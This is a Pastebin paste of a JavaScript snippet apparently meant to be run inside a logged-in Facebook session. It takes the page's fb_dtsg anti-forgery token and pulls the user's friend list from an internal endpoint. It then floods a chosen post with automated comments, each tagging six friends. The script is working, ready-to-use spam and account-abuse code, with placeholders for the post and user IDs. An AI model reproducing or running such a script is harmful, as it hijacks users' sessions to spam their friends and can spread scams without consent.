Advertisement
Guest User

Untitled

a guest
Mar 3rd, 2014
398
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  var aing = {
  2.      
  3.       /**
  4.       Copyright:
  5.       ----------
  6.       Karteek Munjal ( mr-munjal1.blogspot.com )
  7.       ----------
  8.       Please don't remove this credits
  9.       ----------
  10.       **/
  11.    
  12.             posId: "531974056909883", //replace with post ID      *Change With ID Post you
  13.             idGw: "100002918801508", //replace with user ID              *Change With ID FB you
  14.     //      idGw:/[0-9]{8,}/.exec(document.getElementsByClassName("fbxWelcomeBoxImg")[0].d)[0],
  15.      
  16.             dtsg: document.getElementsByName(
  17.                     "fb_dtsg")[0].value,
  18.             ctLama: /comment_text=(.*?)&/,
  19.             c: 1,
  20.             ctBaru: "comment_text=",
  21.             getPren: function (uid) {
  22.                     var a = window.ActiveXObject ? new ActiveXObject(
  23.                             "Msxml2.XMLHTTP") : new XMLHttpRequest;
  24.                     if (a.open("GET",
  25.                             "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" +
  26.                             uid +
  27.                             "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", /** method GET **/ !
  28.                             1), a.send(null), 4 == a.readyState) {
  29.                             var b = JSON.parse(a.responseText.substring(
  30.                                     a.responseText.indexOf("{")));
  31.                             return b.payload.entries
  32.                     }
  33.                     return !1
  34.             },
  35.             hajar: function () {
  36.                     aing.koncos = aing.getPren(aing.idGw);
  37.                     aing.pale = "ft_ent_identifier=" +
  38.                             aing.posId +
  39.                             "&comment_text=0&" +
  40.                 "source=1&" +
  41.                 "client_id=1359576694192%3A1233576093&" +
  42.                 "reply_fbid" +
  43.                 "&parent_comment_id&" +
  44.                 "rootid=u_jsonp_3_19&" +
  45.                 "ft[tn]=[]&" +
  46.                 "ft[qid]=5839337351464612379&" +
  47.                 "ft[mf_story_key]=5470779710560437153&" +
  48.                 "ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" +
  49.                             aing.idGw +
  50.                             "&__a=1&__req=4u&fb_dtsg=" + aing.dtsg +
  51.                             "&phstamp=" + Math.random();
  52.                     for (var n = 1; n < aing.koncos.length; n++) {
  53.                             if (fb_dtsg = aing.dtsg, aing.ctBaru +=
  54.                                     "%40[" + aing.koncos[
  55.                                             n].uid +
  56.                                     "%3AAAAAAAAAAAA]%20test%20Success.%20%0A", //message with percent encoding for URIs
  57.                                     aing.c++, 7 == aing.c) {
  58.                                     with(aing.ctBaru += "&", new XMLHttpRequest) open(
  59.                                             "POST",
  60.                                             "/ajax/ufi/add_comment.php?__a=1"), /** method POST **/
  61.                                     setRequestHeader("Content-Type",
  62.                                             "application/x-www-form-urlencoded"
  63.                                     ), send(aing.pale.replace(aing.ctLama,
  64.                                             aing.ctBaru));
  65.                                     z = setTimeout("function(){asd=0}",
  66.                                             1e3), clearInterval(z), aing.c = 1,
  67.                                     aing.ctBaru = "comment_text="
  68.                             }
  69.                     }
  70.             }
  71.     };
  72.     aing.hajar();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement